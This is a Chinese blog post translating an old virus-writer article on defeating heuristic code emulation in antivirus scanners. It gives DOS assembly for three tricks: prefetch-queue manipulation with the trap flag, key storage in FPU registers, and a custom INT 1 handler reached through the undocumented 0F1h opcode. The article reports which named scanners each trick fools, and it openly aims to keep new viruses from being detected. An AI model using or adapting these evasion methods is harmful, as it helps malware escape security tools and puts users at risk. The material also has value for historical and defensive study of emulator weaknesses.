检测到仿真程序:对抗启发式代码仿真检测技术分析

作者: nEINEI
邮箱: [email protected]
完成于: 08-05-06

            
    最近在研究病毒检测技术虽然在这个木马、流氓件猖獗年代检测技术(除了考虑效率原因外)已经变得不是十分重要了但俺仍然出于兴趣想从这里面寻找些思路或许对抗技术本身并不在于谁彻底打败了谁而在于彼此间共同进步在查阅资料中发现了这篇文章(Anti heuristic techniques  author:Black Jack )虽然是比较古老但还是可以从中获得很多新思路翻译比较粗糙如有不正确或不准确地方还望大家指正后面我会继续谈些对抗仿真技术策略译文如下:          
            
介绍 
   在早些年日子里杀毒软件Software通过对病毒特征码搜索是完全可以检测出病毒但随着病毒数量快速增涨反病毒研究人员发明了些启发式病毒检测思路方法并把它应用到工作中代码仿真启发式扫描器会像虚拟机样运行代码并在此环境下检测是否具有病毒相似行为
   
    所以在理论上这样启发式扫描可以发现任何种新病毒但仅仅是理论上代码仿真不可能达到对真实CUP100%模拟所以该技术并不能毫无遗漏检测出每个病毒由此可见在VX社区中寻找启发式引擎缺陷和利用它们就成了我们目标和责任我所要谈就是如何利用区别手段欺骗并愚弄这些启发式引擎使我们最新创造那些无形邪恶不被启发式引擎所找到及清除  
   这是我认为在病毒编程领域里最有趣事情(始终是有种伟大感觉那就是你比你敌人更聪明; -) ).以下是我在过去日子里有关这方面研究成果

了解你对手
    如果你想研究Anti heuristic技术件事就是你需要个具有启发式功能扫描器来检测你编写创作(virus),我建议你尽量多找些这样扫描器启发式扫描器都有自己强项及弱点我给你个简单扫描器列表我将使用这些来进行测试

    .Thunder Antivirus (http://www.thunder.com) 在早期这被认为是最好扫描器了但现在在vxer眼中它已经被认是很至少在"启发式检测"(其实仅是特定串描)方面如此但在其它方面它附带了很多实用扫描器(checksummer, cleaner, memory resident utilities...)顺便说每个人都会有自己喜欢区别版本我建议您使用7.xx这版本这个版本可以让您制定您自己扫描方式点很重要如果你自己不小心感染了自己机器

    .F-prot (http://www.datafellows.com) 这个是不算太坏虽然还有很多更好有趣比起现在最后个版本在启发式方面有了更好改进所有我建议您使用V2.2.8版或像我样使用V2.2.7版来测试你病毒另外有趣特点是这款扫描器支持使用可疑扫描命令行参数方式执行如果您使用它将进入个智能扫描模式基于这样原因你知道开启可疑检测模式并不是必需如果你这样做了你会知道你anti-heuristic 技术实在是太好用了

  .AVP (http://www.avp.ch):在我认为最好启发式扫描器当中确实是难于欺骗我是用版本是version 3.0 build 128
  .NOD (http://www.e.sk): 像AVP优秀
  .Dr. Web (http://www.dials.ru): 这也是非常好启发式扫描器那些俄罗斯人知道如何取得更好Anti Virus效果
  .Dr Solomon’s (http://www.drsolomon.com):从我个在NAI工作个朋友那里知道这是款中高质量扫描器但它效果仍优于mcafee
  .Ikarus Antivirus (http://www.ikarus.at):个中等品质扫描器我使用它是出于爱国原因

重要思路 
   我所有欺骗手段都是基于同样思路:那就是病毒是加密我们要在扫描器能解密出病毒体前停止仿真代码执行或者在扫描过程中隐藏我们加密密钥如果你仍然没有使用加密方式密钥隐藏手段也是可以使用在“加密”方式中(例如 21h 中断值)例如这样打开个文件操作,虽然我没有测试过这种方式
   mov ax, 3D02h        ;0x3D02 是密钥
   add ax, key
    21h
   
1 通过指令预取反跟踪技术:

    早期处理器像386或者486都使用了指令队列预期(PIQ)技术来提高代码执行效率技术本质是当CPU将要执行条指令时它已经将该指令预先读到了CPUcache中了所以在此的前修改对CPU来说已经没有影响了让我看个这样例子:
  mov word ptr cs:[off piq], 20CDh
  piq:
  nop
  nop
  
    你应该会想到这个将结束运行两个字节nop 指令会被覆盖为  20h(译者注: 20h 是返回DOS指令)但在386或486机器上去并非如此nop指令已经在cpucache中了但在Pentium/Pentium II 体系机器中运行时指令则会被覆盖执行后退出
  
    如果你想利用这特性来对抗启发式检测技术你就必须知道在386/486年代这是种广泛对抗启发式检测手段但是随着AVs改进他们已经加入了对指令预期技术支持这是不是件很不可思议事情他们仿真东西竟是不存于现在处理器当中让我们再看看上面例子这是我们用来对付他们在 pentium 或者更高级别处理上面像我所说那样会终止这些处理器没有使用PIQ技术但大部分AVs会继续让代码执行那两个nops他们要仿真PIQ所有这块我们这样做:
  
    mov word ptr [off prefetch], 06C7h
    prefetch:
     20h
    dw off decrypt_key
    dw key
      
     20h 指令将被覆盖替换它将是下面指令
    mov word ptr [decrypt_key], key

    基于对PIQ考虑AVs将终止执行但实际上我们将继续运行在我们加密处理中设置密钥我们仅存在个问题那就是我们代码要运行在Pentiums或更高级别处理器上面为了使的兼容486系列或更低些处理器我们只需清除掉PIQ的间两条指令

    没有什么比这更简单了!当然你也要知道清除所有jump类指令(jmp, call, loop, ...)的间PIQ(这点是必需如果你想这样做话)但是我们不能简单处理JMP Short $Content$2的间指令对于清除PIQ来说它应该是正常被执行代码仿真器是会察觉到这

    但是我们可以使用个特殊功能CPU陷阱标志如果这个标志被置位那么其后任何指令执行都将触发 1 中断记住这样会清除PIQ这通常是在调试状态下1号中断向量只是简单 IRET所以我们可以使用没有任何问题无论如何执行后再次清除陷阱标志都是个很好主意下面展示代码可以运行在任何处理器上(assumes DS = CS)
   
                  pushf                                   ;flags on the stack
        pop ax                                  ;flags from stack o AX
        or ax, 100000000b                       ; trap flag
        push ax                                 ;put the modied flags in AX back...
        popf                                    ;o the flag register via the stack
            
        mov word ptr [off prefetch], 06C7h   ;mody the following instruction
        prefetch:                               ;here gets 1 called => clears PIQ
         20h                                 ;This is never executed
        dw off decrypt_key                   ;where we want to write our key to
        dw key                                  ;the actual decryption key
        
        pushf                                   ;clear the trap flag again with
        pop ax                                  ;the same method as above.
        xor ax, 100000000b                      ;will also fool some debuggers
        push ax
        popf
        
        mov word ptr [off prefetch], 20CDh   ;restore the 20h (next generations)
    这种方式可以骗过 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag),但不能通过f-prot v2.27, Nod, Ikarus and Dr. Solomon’s. f-prot v2.27 and Ikarus检测方面我们也可以欺骗”正常“使用PIQ手段(当然你要记得这并不能运行于现在处理器上)
    
2 通过FPU 手段:

    我非常喜欢用欺骗方式相对于大多数有效手段来说这种方式是非常简单它可以愚弄*ALL*所有扫描器你仅需要考虑件事情就是启发式扫描器不能仿真浮点指令很明显AVs考虑是病毒运行是不需要FPU指令好了让我们证明他们想法是我们将要做在加密完成后通过浮点数来转换密钥解密时再将它转换成整数
  
         ; AFTER ENCRYPTION:
    mov decrypt_key, key                    ;save key eger variable
    fild decrypt_key                        ;load eger key o FPU and store
    fstp decrypt_float_key                  ;it back as floating po number
    mov decrypt_key, 0                      ;destroy the key (very important!)
    
    ; BEFORE DECRYPTION:
    fld decrypt_float_key                   ;load the key as floating po number
  
  正向我前面所说手段非常容易且极端有效但如果你使用它也要考虑到运行系统要求如果你virus运行在没有FPU系统上时他将崩溃
  
  
3 通过INT 1 手段 : 
  
    前文已经提到如果CPU陷阱标志被设置那么任何指令执行后 1 中断都会被 我也可以通过手工 1 中断来达到我们 1中断反汇编代码通常是0CDh/001h,自从有了个专用opcode来表示1(0F1h)中断后这样反而是非常奇怪尽管这是未公开文档化但是"not documented"意思也应该是"not emulated by AVs", ^_^ 所有我们将这样做:我们设置个我们自己INT 1 中断handler同时”not doumented“ opcode 0F1h返回解密密钥 AVs 将没有办法知道解密密钥是什么
  
         mov ax, 3501h                   ;get  vector 1, so we can restore it later
          21h                         ;not really necessary, but a little bit saver
    mov 1_segm, es
    mov 1_offs, bx
    
    mov ax, 2501h                   ;  vector 1 to our own routine
    mov dx, off 1_handler     ;we assume DS=CS
     21h
    
    db 0F1h                         ;this will call our  1 handler, which
    mov decrypt_key, ax             ;s the decryption key
    
    mov ax, 2501h                   ;restore the original  1 handler
    mov dx, cs:1_offs
    mov ds, cs:1_segm
     21h
    
    [...]
    
    1_handler:
    mov ax, key
    iret
    
     另外件好笑事是我们可以伪造退出可以这样做:
   [...]

    db 0F1h                         ;calls our  1 handler (see above);
    mov ax, 4c00h                   ;quit program
     21h                         ;but... this code is never reached... ;-)
    
    [...]
    
    1_handler:
    mov bx, sp                      ;mod address, so the quit command
    add word ptr ss:[bx], 5         ;is never executed.
    iret
    
     这是非常有效种手段在我测试中仅F-PORT  v2.27 /PARANOID 能检测出了它尽管它只能运行在elCPU上在Cyrix 或者 AMD 处理器上是不能使用这中思路方法因此你virus如果运行则将崩溃:- (如果你想看病毒情况你可以查找我写 PR.H! virus)





  • 篇文章: Data URI XSS和验证About XHR POST Form Data

  • 篇文章: 简单不求人 轻松让你击破ATA硬盘密码
  • Tags:  检测卡代码 仿真计算器c源代码 数控代码仿真软件 检测到仿真程序

    延伸阅读

    最新评论

    发表评论